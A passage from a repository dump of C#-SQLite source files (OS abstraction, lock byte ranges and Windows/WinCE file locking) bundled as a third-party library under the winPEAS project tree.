object Y, object Z ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z ); } static void OSTRACE4( string X, object Y, object Z, object A ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z, A ); } static void OSTRACE5( string X, object Y, object Z, object A, object B ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z, A, B ); } static void OSTRACE6( string X, object Y, object Z, object A, object B, object C ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z, A, B, C ); } static void OSTRACE7( string X, object Y, object Z, object A, object B, object C, object D ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z, A, B, C, D ); } #else //#define OSTRACE1(X) //#define OSTRACE2(X,Y) //#define OSTRACE3(X,Y,Z) //#define OSTRACE4(X,Y,Z,A) //#define OSTRACE5(X,Y,Z,A,B) //#define OSTRACE6(X,Y,Z,A,B,C) //#define OSTRACE7(X,Y,Z,A,B,C,D) #endif /* ** Macros for performance tracing. Normally turned off. Only works ** on i486 hardware. */ #if SQLITE_PERFORMANCE_TRACE /* ** hwtime.h contains inline assembler code for implementing ** high-performance timing routines. */ //#include "hwtime.h" static sqlite_u3264 g_start; static sqlite_u3264 g_elapsed; //#define TIMER_START g_start=sqlite3Hwtime() //#define TIMER_END g_elapsed=sqlite3Hwtime()-g_start //#define TIMER_ELAPSED g_elapsed #else const int TIMER_START = 0; //#define TIMER_START const int TIMER_END = 0; //#define TIMER_END const int TIMER_ELAPSED = 0; //#define TIMER_ELAPSED ((sqlite_u3264)0) #endif /* ** If we compile with the SQLITE_TEST macro set, then the following block ** of code will give us the ability to simulate a disk I/O error. This ** is used for testing the I/O recovery logic. */ #if SQLITE_TEST //static int sqlite3_io_error_hit = 0; /* Total number of I/O Errors */ //static int sqlite3_io_error_hardhit = 0; /* Number of non-benign errors */ //static int sqlite3_io_error_pending = 0; /* Count down to first I/O error */ //static int sqlite3_io_error_persist = 0; /* True if I/O errors persist */ static int sqlite3_io_error_benign = 0; /* True if errors are benign */ //static int sqlite3_diskfull_pending = 0; //static int sqlite3_diskfull = 0; static void SimulateIOErrorBenign( int X ) { sqlite3_io_error_benign = ( X ); } //#define SimulateIOError(CODE) \ // if( (sqlite3_io_error_persist && sqlite3_io_error_hit) \ // || sqlite3_io_error_pending-- == 1 ) \ // { local_ioerr(); CODE; } static bool SimulateIOError() { if ( ( sqlite3_io_error_persist.iValue != 0 && sqlite3_io_error_hit.iValue != 0 ) || sqlite3_io_error_pending.iValue-- == 1 ) { local_ioerr(); return true; } return false; } static void local_ioerr() { #if TRACE IOTRACE( "IOERR\n" ); #endif sqlite3_io_error_hit.iValue++; if ( sqlite3_io_error_benign == 0 ) sqlite3_io_error_hardhit.iValue++; } //#define SimulateDiskfullError(CODE) \ // if( sqlite3_diskfull_pending ){ \ // if( sqlite3_diskfull_pending == 1 ){ \ // local_ioerr(); \ // sqlite3_diskfull = 1; \ // sqlite3_io_error_hit = 1; \ // CODE; \ // }else{ \ // sqlite3_diskfull_pending--; \ // } \ // } static bool SimulateDiskfullError() { if ( sqlite3_diskfull_pending.iValue != 0 ) { if ( sqlite3_diskfull_pending.iValue == 1 ) { local_ioerr(); sqlite3_diskfull.iValue = 1; sqlite3_io_error_hit.iValue = 1; return true; } else { sqlite3_diskfull_pending.iValue--; } } return false; } #else //#define SimulateIOErrorBenign(X) //#define SimulateIOError(A) //#define SimulateDiskfullError(A) #endif /* ** When testing, keep a count of the number of open files. */ #if SQLITE_TEST //int sqlite3_open_file_count = 0; static void OpenCounter( int X ) { sqlite3_open_file_count.iValue += ( X ); } #else //#define OpenCounter(X) #endif //#endif //* !_OS_COMMON_H_) */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/os_h.cs ================================================ #define SQLITE_OS_WIN using u32 = System.UInt32; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2001 September 16 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ****************************************************************************** ** ** This header file (together with is companion C source-code file ** "os.c") attempt to abstract the underlying operating system so that ** the SQLite library will work on both POSIX and windows systems. ** ** This header file is #include-ed by sqliteInt.h and thus ends up ** being included by every source file. ** ** $Id: os.h,v 1.108 2009/02/05 16:31:46 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ #if !_SQLITE_OS_H_ //#define _SQLITE_OS_H_ /* ** Figure out if we are dealing with Unix, Windows, or some other ** operating system. After the following block of preprocess macros, ** all of SQLITE_OS_UNIX, SQLITE_OS_WIN, SQLITE_OS_OS2, and SQLITE_OS_OTHER ** will defined to either 1 or 0. One of the four will be 1. The other ** three will be 0. */ //#if defined(SQLITE_OS_OTHER) //# if SQLITE_OS_OTHER==1 //# undef SQLITE_OS_UNIX //# define SQLITE_OS_UNIX 0 //# undef SQLITE_OS_WIN //# define SQLITE_OS_WIN 0 //# undef SQLITE_OS_OS2 //# define SQLITE_OS_OS2 0 //# else //# undef SQLITE_OS_OTHER //# endif //#endif //#if !(SQLITE_OS_UNIX) && !SQLITE_OS_OTHER) //# define SQLITE_OS_OTHER 0 //# ifndef SQLITE_OS_WIN //# if defined(_WIN32) || defined(WIN32) || defined(__CYGWIN__) || defined(__MINGW32__) || defined(__BORLANDC__) //# define SQLITE_OS_WIN 1 //# define SQLITE_OS_UNIX 0 //# define SQLITE_OS_OS2 0 //# elif defined(__EMX__) || defined(_OS2) || defined(OS2) || defined(_OS2_) || defined(__OS2__) //# define SQLITE_OS_WIN 0 //# define SQLITE_OS_UNIX 0 //# define SQLITE_OS_OS2 1 //# else //# define SQLITE_OS_WIN 0 //# define SQLITE_OS_UNIX 1 //# define SQLITE_OS_OS2 0 //# endif //# else //# define SQLITE_OS_UNIX 0 //# define SQLITE_OS_OS2 0 //# endif //#else //# ifndef SQLITE_OS_WIN //# define SQLITE_OS_WIN 0 //# endif //#endif const bool SQLITE_OS_WIN = true; const bool SQLITE_OS_UNIX = false; const bool SQLITE_OS_OS2 = false; /* ** Determine if we are dealing with WindowsCE - which has a much ** reduced API. */ //#if defined(_WIN32_WCE) //# define SQLITE_OS_WINCE 1 //#else //# define SQLITE_OS_WINCE 0 //#endif /* ** Define the maximum size of a temporary filename */ #if SQLITE_OS_WIN //# include const int MAX_PATH = 260; const int SQLITE_TEMPNAME_SIZE = ( MAX_PATH + 50 ); //# define SQLITE_TEMPNAME_SIZE (MAX_PATH+50) #elif SQLITE_OS_OS2 # if FALSE //(__GNUC__ > 3 || __GNUC__ == 3 && __GNUC_MINOR__ >= 3) && OS2_HIGH_MEMORY) //# include /* has to be included before os2.h for linking to work */ # endif //# define INCL_DOSDATETIME //# define INCL_DOSFILEMGR //# define INCL_DOSERRORS //# define INCL_DOSMISC //# define INCL_DOSPROCESS //# define INCL_DOSMODULEMGR //# define INCL_DOSSEMAPHORES //# include //# include //# define SQLITE_TEMPNAME_SIZE (CCHMAXPATHCOMP) //#else //# define SQLITE_TEMPNAME_SIZE 200 #endif /* If the SET_FULLSYNC macro is not defined above, then make it ** a no-op */ //#if !SET_FULLSYNC //# define SET_FULLSYNC(x,y) //#endif /* ** The default size of a disk sector */ #if !SQLITE_DEFAULT_SECTOR_SIZE const int SQLITE_DEFAULT_SECTOR_SIZE = 512;//# define SQLITE_DEFAULT_SECTOR_SIZE 512 #endif /* ** Temporary files are named starting with this prefix followed by 16 random ** alphanumeric characters, and no file extension. They are stored in the ** OS's standard temporary file directory, and are deleted prior to exit. ** If sqlite is being embedded in another program, you may wish to change the ** prefix to reflect your program's name, so that if your program exits ** prematurely, old temporary files can be easily identified. This can be done ** using -DSQLITE_TEMP_FILE_PREFIX=myprefix_ on the compiler command line. ** ** 2006-10-31: The default prefix used to be "sqlite_". But then ** Mcafee started using SQLite in their anti-virus product and it ** started putting files with the "sqlite" name in the c:/temp folder. ** This annoyed many windows users. Those users would then do a ** Google search for "sqlite", find the telephone numbers of the ** developers and call to wake them up at night and complain. ** For this reason, the default name prefix is changed to be "sqlite" ** spelled backwards. So the temp files are still identified, but ** anybody smart enough to figure out the code is also likely smart ** enough to know that calling the developer will not help get rid ** of the file. */ #if !SQLITE_TEMP_FILE_PREFIX const string SQLITE_TEMP_FILE_PREFIX = "etilqs_"; //# define SQLITE_TEMP_FILE_PREFIX "etilqs_" #endif /* ** The following values may be passed as the second argument to ** sqlite3OsLock(). The various locks exhibit the following semantics: ** ** SHARED: Any number of processes may hold a SHARED lock simultaneously. ** RESERVED: A single process may hold a RESERVED lock on a file at ** any time. Other processes may hold and obtain new SHARED locks. ** PENDING: A single process may hold a PENDING lock on a file at ** any one time. Existing SHARED locks may persist, but no new ** SHARED locks may be obtained by other processes. ** EXCLUSIVE: An EXCLUSIVE lock precludes all other locks. ** ** PENDING_LOCK may not be passed directly to sqlite3OsLock(). Instead, a ** process that requests an EXCLUSIVE lock may actually obtain a PENDING ** lock. This can be upgraded to an EXCLUSIVE lock by a subsequent call to ** sqlite3OsLock(). */ const int NO_LOCK = 0; const int SHARED_LOCK = 1; const int RESERVED_LOCK = 2; const int PENDING_LOCK = 3; const int EXCLUSIVE_LOCK = 4; /* ** File Locking Notes: (Mostly about windows but also some info for Unix) ** ** We cannot use LockFileEx() or UnlockFileEx() on Win95/98/ME because ** those functions are not available. So we use only LockFile() and ** UnlockFile(). ** ** LockFile() prevents not just writing but also reading by other processes. ** A SHARED_LOCK is obtained by locking a single randomly-chosen ** byte out of a specific range of bytes. The lock byte is obtained at ** random so two separate readers can probably access the file at the ** same time, unless they are unlucky and choose the same lock byte. ** An EXCLUSIVE_LOCK is obtained by locking all bytes in the range. ** There can only be one writer. A RESERVED_LOCK is obtained by locking ** a single byte of the file that is designated as the reserved lock byte. ** A PENDING_LOCK is obtained by locking a designated byte different from ** the RESERVED_LOCK byte. ** ** On WinNT/2K/XP systems, LockFileEx() and UnlockFileEx() are available, ** which means we can use reader/writer locks. When reader/writer locks ** are used, the lock is placed on the same range of bytes that is used ** for probabilistic locking in Win95/98/ME. Hence, the locking scheme ** will support two or more Win95 readers or two or more WinNT readers. ** But a single Win95 reader will lock out all WinNT readers and a single ** WinNT reader will lock out all other Win95 readers. ** ** The following #defines specify the range of bytes used for locking. ** SHARED_SIZE is the number of bytes available in the pool from which ** a random byte is selected for a shared lock. The pool of bytes for ** shared locks begins at SHARED_FIRST. ** ** The same locking strategy and ** byte ranges are used for Unix. This leaves open the possiblity of having ** clients on win95, winNT, and unix all talking to the same shared file ** and all locking correctly. To do so would require that samba (or whatever ** tool is being used for file sharing) implements locks correctly between ** windows and unix. I'm guessing that isn't likely to happen, but by ** using the same locking range we are at least open to the possibility. ** ** Locking in windows is manditory. For this reason, we cannot store ** actual data in the bytes used for locking. The pager never allocates ** the pages involved in locking therefore. SHARED_SIZE is selected so ** that all locks will fit on a single page even at the minimum page size. ** PENDING_BYTE defines the beginning of the locks. By default PENDING_BYTE ** is set high so that we don't have to allocate an unused page except ** for very large databases. But one should test the page skipping logic ** by setting PENDING_BYTE low and running the entire regression suite. ** ** Changing the value of PENDING_BYTE results in a subtly incompatible ** file format. Depending on how it is changed, you might not notice ** the incompatibility right away, even running a full regression test. ** The default location of PENDING_BYTE is the first byte past the ** 1GB boundary. ** */ static int PENDING_BYTE = 0x40000000; //sqlite3PendingByte; static int RESERVED_BYTE = ( PENDING_BYTE + 1 ); static int SHARED_FIRST = ( PENDING_BYTE + 2 ); static int SHARED_SIZE = 510; /* ** Functions for accessing sqlite3_file methods */ //int sqlite3OsClose(sqlite3_file*); //int sqlite3OsRead(sqlite3_file*, void*, int amt, i64 offset); //int sqlite3OsWrite(sqlite3_file*, const void*, int amt, i64 offset); //int sqlite3OsTruncate(sqlite3_file*, i64 size); //int sqlite3OsSync(sqlite3_file*, int); //int sqlite3OsFileSize(sqlite3_file*, i64 pSize); //int sqlite3OsLock(sqlite3_file*, int); //int sqlite3OsUnlock(sqlite3_file*, int); //int sqlite3OsCheckReservedLock(sqlite3_file *id, int pResOut); //int sqlite3OsFileControl(sqlite3_file*,int,void*); //#define SQLITE_FCNTL_DB_UNCHANGED 0xca093fa0 const u32 SQLITE_FCNTL_DB_UNCHANGED = 0xca093fa0; //int sqlite3OsSectorSize(sqlite3_file *id); //int sqlite3OsDeviceCharacteristics(sqlite3_file *id); /* ** Functions for accessing sqlite3_vfs methods */ //int sqlite3OsOpen(sqlite3_vfs *, const char *, sqlite3_file*, int, int *); //int sqlite3OsDelete(sqlite3_vfs *, const char *, int); //int sqlite3OsAccess(sqlite3_vfs *, const char *, int, int pResOut); //int sqlite3OsFullPathname(sqlite3_vfs *, const char *, int, char *); #if !SQLITE_OMIT_LOAD_EXTENSION //void *sqlite3OsDlOpen(sqlite3_vfs *, const char *); //void sqlite3OsDlError(sqlite3_vfs *, int, char *); //void (*sqlite3OsDlSym(sqlite3_vfs *, void *, const char *))(void); //void sqlite3OsDlClose(sqlite3_vfs *, void *); #endif //int sqlite3OsRandomness(sqlite3_vfs *, int, char *); //int sqlite3OsSleep(sqlite3_vfs *, int); //int sqlite3OsCurrentTime(sqlite3_vfs *, double*); /* ** Convenience functions for opening and closing files using ** sqlite3Malloc() to obtain space for the file-handle structure. */ //int sqlite3OsOpenMalloc(sqlite3_vfs *, const char *, sqlite3_file **, int,int*); //int sqlite3OsCloseFree(sqlite3_file *); #endif // * _SQLITE_OS_H_ */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/os_win_c.cs ================================================ #define SQLITE_OS_WIN using System; using System.ComponentModel; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; using System.Text; using System.Threading; using HANDLE = System.IntPtr; using DWORD = System.UInt64; using i64 = System.Int64; using u8 = System.Byte; using u32 = System.UInt32; using sqlite3_int64 = System.Int64; namespace winPEAS._3rdParty.SQLite.src { internal static class HelperMethods { public static bool IsRunningMediumTrust() { // placeholder method // this is where it needs to check if it's running in an ASP.Net MediumTrust or lower environment // in order to pick the appropriate locking strategy return false; } } public partial class CSSQLite { /// /// Basic locking strategy for Console/Winform applications /// private class LockingStrategy { [DllImport( "kernel32.dll" )] static extern bool LockFileEx( IntPtr hFile, uint dwFlags, uint dwReserved, uint nNumberOfBytesToLockLow, uint nNumberOfBytesToLockHigh, [In] ref System.Threading.NativeOverlapped lpOverlapped ); const int LOCKFILE_FAIL_IMMEDIATELY = 1; public virtual void LockFile( sqlite3_file pFile, long offset, long length ) { pFile.fs.Lock( offset, length ); } public virtual int SharedLockFile( sqlite3_file pFile, long offset, long length ) { Debug.Assert( length == SHARED_SIZE ); Debug.Assert( offset == SHARED_FIRST ); NativeOverlapped ovlp = new System.Threading.NativeOverlapped { OffsetLow = (int)offset, OffsetHigh = 0, EventHandle = IntPtr.Zero }; return LockFileEx( pFile.fs.Handle, LOCKFILE_FAIL_IMMEDIATELY, 0, (uint)length, 0, ref ovlp ) ? 1 : 0; } public virtual void UnlockFile( sqlite3_file pFile, long offset, long length ) { pFile.fs.Unlock( offset, length ); } } /// /// Locking strategy for Medium Trust. It uses the same trick used in the native code for WIN_CE /// which doesn't support LockFileEx as well. /// private class MediumTrustLockingStrategy : LockingStrategy { public override int SharedLockFile( sqlite3_file pFile, long offset, long length ) { Debug.Assert( length == SHARED_SIZE ); Debug.Assert( offset == SHARED_FIRST ); try { pFile.fs.Lock( offset + pFile.sharedLockByte, 1 ); } catch ( IOException ) { return 0; } return 1; } } /* ** 2004 May 22 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ****************************************************************************** ** ** This file contains code that is specific to windows. ** ** $Id: os_win.c,v 1.157 2009/08/05 04:08:30 shane Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" #if SQLITE_OS_WIN // * This file is used for windows only */ /* ** A Note About Memory Allocation: ** ** This driver uses malloc()/free() directly rather than going through ** the SQLite-wrappers sqlite3Malloc()///sqlite3DbFree(db,ref ). Those wrappers ** are designed for use on embedded systems where memory is scarce and ** malloc failures happen frequently. Win32 does not typically run on ** embedded systems, and when it does the developers normally have bigger ** problems to worry about than running out of memory. So there is not ** a compelling need to use the wrappers. ** ** But there is a good reason to not use the wrappers. If we use the ** wrappers then we will get simulated malloc() failures within this ** driver. And that causes all kinds of problems for our tests. We ** could enhance SQLite to deal with simulated malloc failures within ** the OS driver, but the code to deal with those failure would not ** be exercised on Linux (which does not need to malloc() in the driver) ** and so we would have difficulty writing coverage tests for that ** code. Better to leave the code out, we think. ** ** The point of this discussion is as follows: When creating a new ** OS layer for an embedded system, if you use this file as an example, ** avoid the use of malloc()/free(). Those routines work ok on windows ** desktops but not so well in embedded systems. */ //#include #if __CYGWIN__ //# include #endif /* ** Macros used to determine whether or not to use threads. */ #if THREADSAFE //# define SQLITE_W32_THREADS 1 #endif /* ** Include code that is common to all os_*.c files */ //#include "os_common.h" /* ** Some microsoft compilers lack this definition. */ #if !INVALID_FILE_ATTRIBUTES //# define INVALID_FILE_ATTRIBUTES ((DWORD)-1) const int INVALID_FILE_ATTRIBUTES = -1; #endif /* ** Determine if we are dealing with WindowsCE - which has a much ** reduced API. */ #if SQLITE_OS_WINCE //# define AreFileApisANSI() 1 //# define GetDiskFreeSpaceW() 0 #endif /* ** WinCE lacks native support for file locking so we have to fake it ** with some code of our own. */ #if SQLITE_OS_WINCE typedef struct winceLock { int nReaders; /* Number of reader locks obtained */ BOOL bPending; /* Indicates a pending lock has been obtained */ BOOL bReserved; /* Indicates a reserved lock has been obtained */ BOOL bExclusive; /* Indicates an exclusive lock has been obtained */ } winceLock; #endif private static LockingStrategy lockingStrategy = HelperMethods.IsRunningMediumTrust() ? new MediumTrustLockingStrategy() : new LockingStrategy(); /* ** The winFile structure is a subclass of sqlite3_file* specific to the win32 ** portability layer. */ //typedef struct sqlite3_file sqlite3_file; public partial class sqlite3_file { public FileStream fs; /* Filestream access to this file*/ // public HANDLE h; /* Handle for accessing the file */ public int locktype; /* Type of lock currently held on this file */ public int sharedLockByte; /* Randomly chosen byte used as a shared lock */ public DWORD lastErrno; /* The Windows errno from the last I/O error */ public DWORD sectorSize; /* Sector size of the device file is on */ #if SQLITE_OS_WINCE WCHAR *zDeleteOnClose; /* Name of file to delete when closing */ HANDLE hMutex; /* Mutex used to control access to shared lock */ HANDLE hShared; /* Shared memory segment used for locking */ winceLock local; /* Locks obtained by this instance of sqlite3_file */ winceLock *shared; /* Global shared lock memory for the file */ #endif public void Clear() { pMethods = null; fs = null; locktype = 0; sharedLockByte = 0; lastErrno = 0; sectorSize = 0; } }; /* ** Forward prototypes. */ //static int getSectorSize( // sqlite3_vfs *pVfs, // const char *zRelative /* UTF-8 file name */ //); /* ** The following variable is (normally) set once and never changes ** thereafter. It records whether the operating system is Win95 ** or WinNT. ** ** 0: Operating system unknown. ** 1: Operating system is Win95. ** 2: Operating system is WinNT. ** ** In order to facilitate testing on a WinNT system, the test fixture ** can manually set this value to 1 to emulate Win98 behavior. */ #if SQLITE_TEST int sqlite3_os_type = 0; #else static int sqlite3_os_type = 0; #endif /* ** Return true (non-zero) if we are running under WinNT, Win2K, WinXP, ** or WinCE. Return false (zero) for Win95, Win98, or WinME. ** ** Here is an interesting observation: Win95, Win98, and WinME lack ** the LockFileEx() API. But we can still statically link against that ** API as long as we don't call it when running Win95/98/ME. A call to ** this routine is used to determine if the host is Win95/98/ME or ** WinNT/2K/XP so that we will know whether or not we can safely call ** the LockFileEx() API. */ #if SQLITE_OS_WINCE //# define isNT() (1) #else static bool isNT() { //if (sqlite3_os_type == 0) //{ // OSVERSIONINFO sInfo; // sInfo.dwOSVersionInfoSize = sInfo.Length; // GetVersionEx(&sInfo); // sqlite3_os_type = sInfo.dwPlatformId == VER_PLATFORM_WIN32_NT ? 2 : 1; //} //return sqlite3_os_type == 2; return Environment.OSVersion.Platform >= PlatformID.Win32NT; } #endif // * SQLITE_OS_WINCE */ /* ** Convert a UTF-8 string to microsoft unicode (UTF-16?). ** ** Space to hold the returned string is obtained from malloc. */ //static WCHAR *utf8ToUnicode(string zFilename){ // int nChar; // WCHAR *zWideFilename; // nChar = MultiByteToWideChar(CP_UTF8, 0, zFilename, -1, NULL, 0); // zWideFilename = malloc( nChar*sizeof(zWideFilename[0]) ); // if( zWideFilename==0 ){ // return 0; // } // nChar = MultiByteToWideChar(CP_UTF8, 0, zFilename, -1, zWideFilename, nChar); // if( nChar==0 ){ // free(zWideFilename); // zWideFileName = ""; // } // return zWideFilename; //} /* ** Convert microsoft unicode to UTF-8. Space to hold the returned string is ** obtained from malloc(). */ //static char *unicodeToUtf8(const WCHAR *zWideFilename){ // int nByte; // char *zFilename; // nByte = WideCharToMultiByte(CP_UTF8, 0, zWideFilename, -1, 0, 0, 0, 0); // zFilename = malloc( nByte ); // if( zFilename==0 ){ // return 0; // } // nByte = WideCharToMultiByte(CP_UTF8, 0, zWideFilename, -1, zFilename, nByte, // 0, 0); // if( nByte == 0 ){ // free(zFilename); // zFileName = ""; // } // return zFilename; //} /* ** Convert an ansi string to microsoft unicode, based on the ** current codepage settings for file apis. ** ** Space to hold the returned string is obtained ** from malloc. */ //static WCHAR *mbcsToUnicode(string zFilename){ // int nByte; // WCHAR *zMbcsFilename; // int codepage = AreFileApisANSI() ? CP_ACP : CP_OEMCP; // nByte = MultiByteToWideChar(codepage, 0, zFilename, -1, NULL,0)*WCHAR.Length; // zMbcsFilename = malloc( nByte*sizeof(zMbcsFilename[0]) ); // if( zMbcsFilename==0 ){ // return 0; // } // nByte = MultiByteToWideChar(codepage, 0, zFilename, -1, zMbcsFilename, nByte); // if( nByte==0 ){ // free(zMbcsFilename); // zMbcsFileName = ""; // } // return zMbcsFilename; //} /* ** Convert microsoft unicode to multibyte character string, based on the ** user's Ansi codepage. ** ** Space to hold the returned string is obtained from ** malloc(). */ //static char *unicodeToMbcs(const WCHAR *zWideFilename){ // int nByte; // char *zFilename; // int codepage = AreFileApisANSI() ? CP_ACP : CP_OEMCP; // nByte = WideCharToMultiByte(codepage, 0, zWideFilename, -1, 0, 0, 0, 0); // zFilename = malloc( nByte ); // if( zFilename==0 ){ // return 0; // } // nByte = WideCharToMultiByte(codepage, 0, zWideFilename, -1, zFilename, nByte, // 0, 0); // if( nByte == 0 ){ // free(zFilename); // zFileName = ""; // } // return zFilename; //} /* ** Convert multibyte character string to UTF-8. Space to hold the ** returned string is obtained from malloc(). */ //static char *sqlite3_win32_mbcs_to_utf8(string zFilename){ // char *zFilenameUtf8; // WCHAR *zTmpWide; // zTmpWide = mbcsToUnicode(zFilename); // if( zTmpWide==0 ){ // return 0; // } // zFilenameUtf8 = unicodeToUtf8(zTmpWide); // free(zTmpWide); // return zFilenameUtf8; //} /* ** Convert UTF-8 to multibyte character string. Space to hold the ** returned string is obtained from malloc(). */ //static char *utf8ToMbcs(string zFilename){ // char *zFilenameMbcs; // WCHAR *zTmpWide; // zTmpWide = utf8ToUnicode(zFilename); // if( zTmpWide==0 ){ // return 0; // } // zFilenameMbcs = unicodeToMbcs(zTmpWide); // free(zTmpWide); // return zFilenameMbcs; //} #if SQLITE_OS_WINCE /************************************************************************* ** This section contains code for WinCE only. */ /* ** WindowsCE does not have a localtime() function. So create a ** substitute. */ //#include struct tm *__cdecl localtime(const time_t *t) { static struct tm y; FILETIME uTm, lTm; SYSTEMTIME pTm; sqlite3_int64 t64; t64 = *t; t64 = (t64 + 11644473600)*10000000; uTm.dwLowDateTime = t64 & 0xFFFFFFFF; uTm.dwHighDateTime= t64 >> 32; FileTimeToLocalFileTime(&uTm,&lTm); FileTimeToSystemTime(&lTm,&pTm); y.tm_year = pTm.wYear - 1900; y.tm_mon = pTm.wMonth - 1; y.tm_wday = pTm.wDayOfWeek; y.tm_mday = pTm.wDay; y.tm_hour = pTm.wHour; y.tm_min = pTm.wMinute; y.tm_sec = pTm.wSecond; return &y; } /* This will never be called, but defined to make the code compile */ //#define GetTempPathA(a,b) //#define LockFile(a,b,c,d,e) winceLockFile(&a, b, c, d, e) //#define UnlockFile(a,b,c,d,e) winceUnlockFile(&a, b, c, d, e) //#define LockFileEx(a,b,c,d,e,f) winceLockFileEx(&a, b, c, d, e, f) //#define HANDLE_TO_WINFILE(a) (sqlite3_file*)&((char*)a)[-offsetof(sqlite3_file,h)] /* ** Acquire a lock on the handle h */ static void winceMutexAcquire(HANDLE h){ DWORD dwErr; do { dwErr = WaitForSingleObject(h, INFINITE); } while (dwErr != WAIT_OBJECT_0 && dwErr != WAIT_ABANDONED); } /* ** Release a lock acquired by winceMutexAcquire() */ //#define winceMutexRelease(h) ReleaseMutex(h) /* ** Create the mutex and shared memory used for locking in the file ** descriptor pFile */ static BOOL winceCreateLock(string zFilename, sqlite3_file pFile){ WCHAR *zTok; WCHAR *zName = utf8ToUnicode(zFilename); BOOL bInit = TRUE; /* Initialize the local lockdata */ ZeroMemory(pFile.local, pFile.local).Length; /* Replace the backslashes from the filename and lowercase it ** to derive a mutex name. */ zTok = CharLowerW(zName); for (;*zTok;zTok++){ if (*zTok == '\\') *zTok = '_'; } /* Create/open the named mutex */ pFile.hMutex = CreateMutexW(NULL, FALSE, zName); if (!pFile.hMutex){ pFile->lastErrno = (u32)GetLastError(); free(zName); return FALSE; } /* Acquire the mutex before continuing */ winceMutexAcquire(pFile.hMutex); /* Since the names of named mutexes, semaphores, file mappings etc are ** case-sensitive, take advantage of that by uppercasing the mutex name ** and using that as the shared filemapping name. */ CharUpperW(zName); pFile.hShared = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, winceLock.Length, zName); /* Set a flag that indicates we're the first to create the memory so it ** must be zero-initialized */ if (GetLastError() == ERROR_ALREADY_EXISTS){ bInit = FALSE; } free(zName); /* If we succeeded in making the shared memory handle, map it. */ if (pFile.hShared){ pFile.shared = (winceLock*)MapViewOfFile(pFile.hShared, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, winceLock).Length; /* If mapping failed, close the shared memory handle and erase it */ if (!pFile.shared){ pFile->lastErrno = (u32)GetLastError(); CloseHandle(pFile.hShared); pFile.hShared = NULL; } } /* If shared memory could not be created, then close the mutex and fail */ if (pFile.hShared == NULL){ winceMutexRelease(pFile.hMutex); CloseHandle(pFile.hMutex); pFile.hMutex = NULL; return FALSE; } /* Initialize the shared memory if we're supposed to */ if (bInit) { ZeroMemory(pFile.shared, winceLock).Length; } winceMutexRelease(pFile.hMutex); return TRUE; } /* ** Destroy the part of sqlite3_file that deals with wince locks */ static void winceDestroyLock(sqlite3_file pFile){ if (pFile.hMutex){ /* Acquire the mutex */ winceMutexAcquire(pFile.hMutex); /* The following blocks should probably Debug.Assert in debug mode, but they are to cleanup in case any locks remained open */ if (pFile.local.nReaders){ pFile.shared.nReaders --; } if (pFile.local.bReserved){ pFile.shared.bReserved = FALSE; } if (pFile.local.bPending){ pFile.shared.bPending = FALSE; } if (pFile.local.bExclusive){ pFile.shared.bExclusive = FALSE; } /* De-reference and close our copy of the shared memory handle */ UnmapViewOfFile(pFile.shared); CloseHandle(pFile.hShared); /* Done with the mutex */ winceMutexRelease(pFile.hMutex); CloseHandle(pFile.hMutex); pFile.hMutex = NULL; } } /* ** An implementation of the LockFile() API of windows for wince */ static BOOL winceLockFile( HANDLE phFile, DWORD dwFileOffsetLow, DWORD dwFileOffsetHigh, DWORD nNumberOfBytesToLockLow, DWORD nNumberOfBytesToLockHigh ){ sqlite3_file pFile = HANDLE_TO_WINFILE(phFile); BOOL bReturn = FALSE; if (!pFile.hMutex) return TRUE; winceMutexAcquire(pFile.hMutex); /* Wanting an exclusive lock? */ if (dwFileOffsetLow == SHARED_FIRST && nNumberOfBytesToLockLow == SHARED_SIZE){ if (pFile.shared.nReaders == 0 && pFile.shared.bExclusive == 0){ pFile.shared.bExclusive = TRUE; pFile.local.bExclusive = TRUE; bReturn = TRUE; } } /* Want a read-only lock? */ else if (dwFileOffsetLow == SHARED_FIRST && nNumberOfBytesToLockLow == 1){ if (pFile.shared.bExclusive == 0){ pFile.local.nReaders ++; if (pFile.local.nReaders == 1){ pFile.shared.nReaders ++; } bReturn = TRUE; } } /* Want a pending lock? */ else if (dwFileOffsetLow == PENDING_BYTE && nNumberOfBytesToLockLow == 1){ /* If no pending lock has been acquired, then acquire it */ if (pFile.shared.bPending == 0) { pFile.shared.bPending = TRUE; pFile.local.bPending = TRUE; bReturn = TRUE; } } /* Want a reserved lock? */ else if (dwFileOffsetLow == RESERVED_BYTE && nNumberOfBytesToLockLow == 1){ if (pFile.shared.bReserved == 0) { pFile.shared.bReserved = TRUE; pFile.local.bReserved = TRUE; bReturn = TRUE; } } winceMutexRelease(pFile.hMutex); return bReturn; } /* ** An implementation of the UnlockFile API of windows for wince */ static BOOL winceUnlockFile( HANDLE phFile, DWORD dwFileOffsetLow, DWORD dwFileOffsetHigh, DWORD nNumberOfBytesToUnlockLow, DWORD nNumberOfBytesToUnlockHigh ){ sqlite3_file pFile = HANDLE_TO_WINFILE(phFile); BOOL bReturn = FALSE; if (!pFile.hMutex) return TRUE; winceMutexAcquire(pFile.hMutex); /* Releasing a reader lock or an exclusive lock */ if (dwFileOffsetLow >= SHARED_FIRST && dwFileOffsetLow < SHARED_FIRST + SHARED_SIZE){ /* Did we have an exclusive lock? */ if (pFile.local.bExclusive){ 